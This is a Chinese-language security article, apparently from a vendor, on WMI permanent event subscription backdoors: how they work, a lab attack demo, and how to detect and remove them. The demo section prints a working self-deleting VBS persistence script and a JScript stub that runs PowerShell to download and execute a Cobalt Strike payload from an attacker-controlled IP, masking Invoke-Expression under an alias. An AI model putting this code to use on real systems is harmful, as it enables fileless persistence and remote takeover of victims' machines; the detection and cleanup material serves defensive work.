WMI后门技术的攻击与检测
0x01 WMI初认识1.1 WMI简介 WMI是从Windows 2000起,在每个Windows系统版本中都会内置的一个管理框架。该框架由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。它可以为你提供有关本地或远程计算机状态的信息,并且可以用于配置安全设置,例如系统属性,用户组,调度进程或禁用错误日志记录。 1.2 WMI体系结构 首先是WMI使用者,比如脚本或者其他用到WMI接口的应用程序,由WMI使用者访问CIM对象管理器WinMgmt(即WMI服务),后者再访问CIM(公共信息模型Common Information Model)存储库。 静态或动态的信息(对象的属性)就保存在CIM库中,同时保存对象的方法。比如启动一个服务,通过执行对象的方法实现,实际上是通过COM技术调用各种dll,最后由dll中封装的API完成请求。WMI是事件驱动的,操作系统、服务、应用程序、设备驱动程序等都可以作为事件源,通过COM接口生成事件通知,WinMgmt捕捉到事件,然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样,CIM库也有分类,用面向对象的术语描述来来说,叫做命名空间(Name Space)。 下图为WMI架构图。
0x02 WMI持久化后门2.1 概述
WMI实现后门,是在满足特定条件时,使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化。 其主要有两个特征:无文件和无进程。其基本原理是:将代码加密存储在WMI中,达到所谓的无文件;当设定的条件满足时,系统将自动启动powershell进程去执行后门程序,当后门程序执行后进程就会消失。 下图为WMI后门的运行流程图。 2.2 优势
1)可以把WMI当作API来与Windows系统进行交互; 2)WMI在渗透测试中的价值在于它不需要下载和安装,因为WMI是Windows系统自带功能,Windows是默认安装了WMI的; 3)整个运行过程都在计算机内存中发生,除了WMI仓库中的文件之外不会留下任何痕迹; 4)受信任和频繁使用。系统管理员频繁使用和信任WMI,在企业环境中使用WMI非常常见; 5)作为系统运行。任何永久性WMI事件订阅都作为系统运行,从而使它们更具可信度; 6)容易触发。几乎每个操作系统动作都可以触发WMI事件,从而使其与操作系统动作结合使用非常容易。 2.3 不足wmi后门的唯一不足就是创建WMI永久事件订阅需要管理员权限。 2.4 攻击演示 1、在攻击机kali中由cs生成ps1后门文件; 2、将123.vbs恶意脚本放入受害机启动项中,该脚本的任务是创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本cs.js,绑定过滤器和消费者; 3、cs.js脚本是执行远程ps1后门文件,执行完ps1文件后,cs会上线受害机的system权限。 实验环境:kali(攻击机器)、windows7(受害机器)、cobaltstrike (1)cs生成ps后门,在攻击机开放一个web端口,将cs.js和cs.ps1文件放到web目录中,用来后面进行远程调用文件。 (2)在启动项中放入vbs脚本。 (3)受害机重启,可以看到123.vbs文件已经加载进WMI中。 (4)再次重启,123.vbs脚本会检查启动事件,一旦检测到就会执行我们所创建的事件消费者,执行远程cs.js脚本,该脚本会使用powershell执行远程我们所创建的ps1后门文件,cs成功上线受害机的system权限。 附攻击代码 123.vbs - nslink="winmgmts:\\.\root\subscription:"
- '每5秒查询一次“实例创建事件”'
- qstr="select * from __InstanceCreationEvent within 5 "
- qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and "
- '实例名是win32_NTLogEvent'
- qstr=qstr&"targetinstance.EventCode='4624' "
- '创建事件过滤器'
- set evtflt=getobject(nslink&"__EventFilter").spawninstance_
- evtflt.name="filtP1" '定义过滤器的名字'
- evtflt.EventNameSpace="root\cimv2"
- evtflt.query=qstr '定义查询语句'
- evtflt.querylanguage="wql" '定义查询语言(只能是wql)'
- set fltpath=evtflt.put_ '注册过滤器,返回其链接'
- '创建“活动脚本事件消费者”'
- set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
- asec.name="consP1" '定义消费者的名字'
- asec.scriptingengine="JScript" '定义脚本语言'
- asec.ScriptText="GetObject(""script:http://192.168.146.136:80/cs.js "")"
- set asecpath=asec.put_ '注册消费者,返回其链接'
- '创建过滤器和消费者的绑定'
- set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
- fcbnd.filter=fltpath.path '指定过滤器'
- fcbnd.consumer=asecpath.path '指定消费者'
- fcbnd.put_ '执行绑定'
- dim fso
- set fso = CreateObject("Scripting.FileSystemObject")
- evilname=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,""))
- evilname=evilname& fso.GetFile(Wscript.scriptfullname).name
- fso.DeleteFile(evilname) 'vbs删除自己'
复制代码
cs.js代码,执行远程ps1后门 - <?xml version="1.0"?>
- <package>
- <component id="testCalc">
- <script language="JScript">
- var r = new ActiveXObject("WScript.Shell").Run("powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://192.168.146.136/cs.ps1')");
- </script>
- </component>
- </package>
复制代码
0x03 WMI后门检测及清理要实现WMI后门的检测和清理,就必须了解WMIC是如何创建一个事件以及多用途下WMI事件的关键性检测(触发)点。3.1 WIMC创建事件
(1)创建名为test的过滤器事件- wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="test", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
复制代码
(2)查看命名空间内存在的过滤器 - wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
复制代码
(3)创建实例 - wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="test", ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate=" C:\Windows\System32\calc.exe"
复制代码
(4)绑定过滤器和使用者- wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="test"", Consumer="CommandLineEventConsumer.Name="test""
复制代码
3.2 多用途下WMI事件的关键性检测(触发)点 (1)攻击者使用WMI做持久化时 __EventFilter、__EventConsumer和__FilterToConsumerBinding的实例会被创建。一个__InstanceCreationEvent事件被触发。 (2)当WMI被用做C2时 __Namespace对象实例会被创建和修改,结果是__NamespaceCreationEvent和__NamespaceModificationEvent事件被触发。 (3)通过WMI类存储数据时 __ClassCreationEvent事件被触发。 (4)攻击者安装WMI提供者时 一个__Provider类的实例被创建,__InstanceCreationEvent事件被触发。 (5)攻击者使用开始菜单或注册表做持久化时 一个Win32_StartupCommand类的实例被创建,__InstanceCreationEvent事件被触发。 (6)攻击者使用其它注册表值做持久化时 RegistrykeyChangeEvent或RegistryValueChangeEvent事件被触发。 (7)当攻击者安装服务时 一个Win32_Service实例被创建,__InstanceCreationEvent事件被触发。 3.3 WMI后门检测
在PowerShell中,可以使用Get-WMIObject查看WMI中事件筛选器绑定的事件使用者。 - #List Event Filters
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter
复制代码
- #List Event Consumers
- Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
复制代码
- #List Event Bindings
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
复制代码
通过此方式可以去筛选正常和异常的事件,然后对异常的事件进行标记。3.4 WMI后门清除WMI后门的清除主要还是清除创建的对应的恶意的消费者事件,我们首先需要去排查WMI标准的使用者类里面是否存在异常的消费者事件,找到后进行删除即可。 关于如何去获取WMI存在哪些常用的类,或者说一个命名空间存在哪些类,下面介绍了两种方法。 a. WMI标准使用者类以及对应的使用方法如下(https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-start-page):b. 判断WMI的一个命名空间里面存在哪些类,可以用相关工具(https://www.microsoft.com/en-us/download/confirmation.aspx?id=8572),如下root\subscription存在如下类:总结起来说:列出WMI命名空间标准类、枚举标准类里面的消费者事件、判断消费者事件是否异常、删除异常事件。 WMI后门清除可以使用Get-WMIObject手动清除,也可以运行清除脚本实现自动化清除。 (1)使用Get-WMIObject手动清除 - #Filter(删除对应Name的Filter)
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Name'" | Remove-WmiObject -Verbose
- #Consumer(删除对应Name和__CLASS 的Consumer)
- Get-WMIObject -Namespace root\Subscription -Class __CLASS -Filter "Name='Name'" | Remove-WmiObject -Verbose
- #Binding(删除对应Name的Binding)
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE ‘%Name%'" | Remove-WmiObject -Verbose
复制代码
(2)运行清除脚本实现自动化清除 当运行后一个持久化的脚本后,我们用autoruns可以查看到存在如下相关事件 运行我们的清除脚本后,事件会成功删除: 因为前面vbs脚本创建的类为ActiveScriptEventConsumer,创建的消费者名为consP1,因此对应清除的delete_WMI.ps1脚本内如下:- get-wmiobject -namespace root\subscription -class __filtertoconsumerbinding -filter "__path like '%consP1%'" | remove-wmiobject
- get-wmiobject -namespace root\subscription -class __eventfilter -filter "name= 'filtP1'" |remove-wmiobject
- get-wmiobject -namespace root\subscription -class ActiveScriptEventConsumer -filter "name='consP1'" | remove-wmiobject
- write-host "success"
复制代码
0x04 总结 从笔者了解的情况来看,其实国内外的安全防护的侧重点是有很大区别的,国内由于这几年网络安全的大环境,渐渐从互联网防护走向了局域网的防护,虽说局域网内已开始有防护,但是还是相对薄弱。而对于入侵检测来说,Windows的工作会比Linux更棘手。安全研究人员会优先考虑安全,业务人员会优先考虑性能,所以在Windows的入侵检测这一块的行为检测注定要做牺牲。 再来回顾这次的实验过程,其实攻击的过程中很多都是可以做检测的: 1、可以监控VBS脚本的行为; 2、可以检测创建的消费者事件,去提取并判定是否恶意的消费者事件; 3、像此次实验中最终还是一个powershell无文件落地上线cs,所以监测powershell去远程加载的接口,然后进行拦截; 4、去监控最终执行或加载的文件,若是恶意的则将其拦截。 当然上面的这些防御从攻击过程进行拦截,是能解决很多入侵问题。但攻防终归是此消彼长,道高一尺、魔高一丈,你有防御,攻击者就有bypass,且不说对抗类的研究分析工作很难,就单单是一个正常的攻击事件后的人工应急排查自动化就让人头疼,自动化的应急排查真的有点让人望而却步了,抛开各类攻击事件的原理,对于自动化的排查笔者有一些思考: 1、根据ATT&CK的防御来说,更多的要做一个联动检测。系统权限维持(后门)的方式有很多种,我们无法穷举并分析出每一种权限维持的方法和特征,单独拿出某一个特征来进行检测务必会有很多漏报误报,这个时候如果关联他的上一步操作和下一步的操作来进行综合研判,就会相对更为准确; 2、配合大数据中心和威胁情报中心来做。无论是大数据还是说威胁情报中心,这些入侵的检测还是会存在一定的“滞后”,但是从另一个层面来说能很大的提高准确性。拿系统后门举例,如果存在系统远控后门,那必然该进程会有一个对外的TCP连接,对外TCP连接的IP地址我们是可以轻松拿到的,如果我们的大数据中心和威胁情报中心能够识别出IP是否恶意,那就能为我们的自动化研判提供了一大有力凭证。 火线云XDR平台入侵检测解决方案,支持对此类的后门事件以及类似的反弹shell、提权检测进行检测和处置,欢迎大家一起交流学习。
|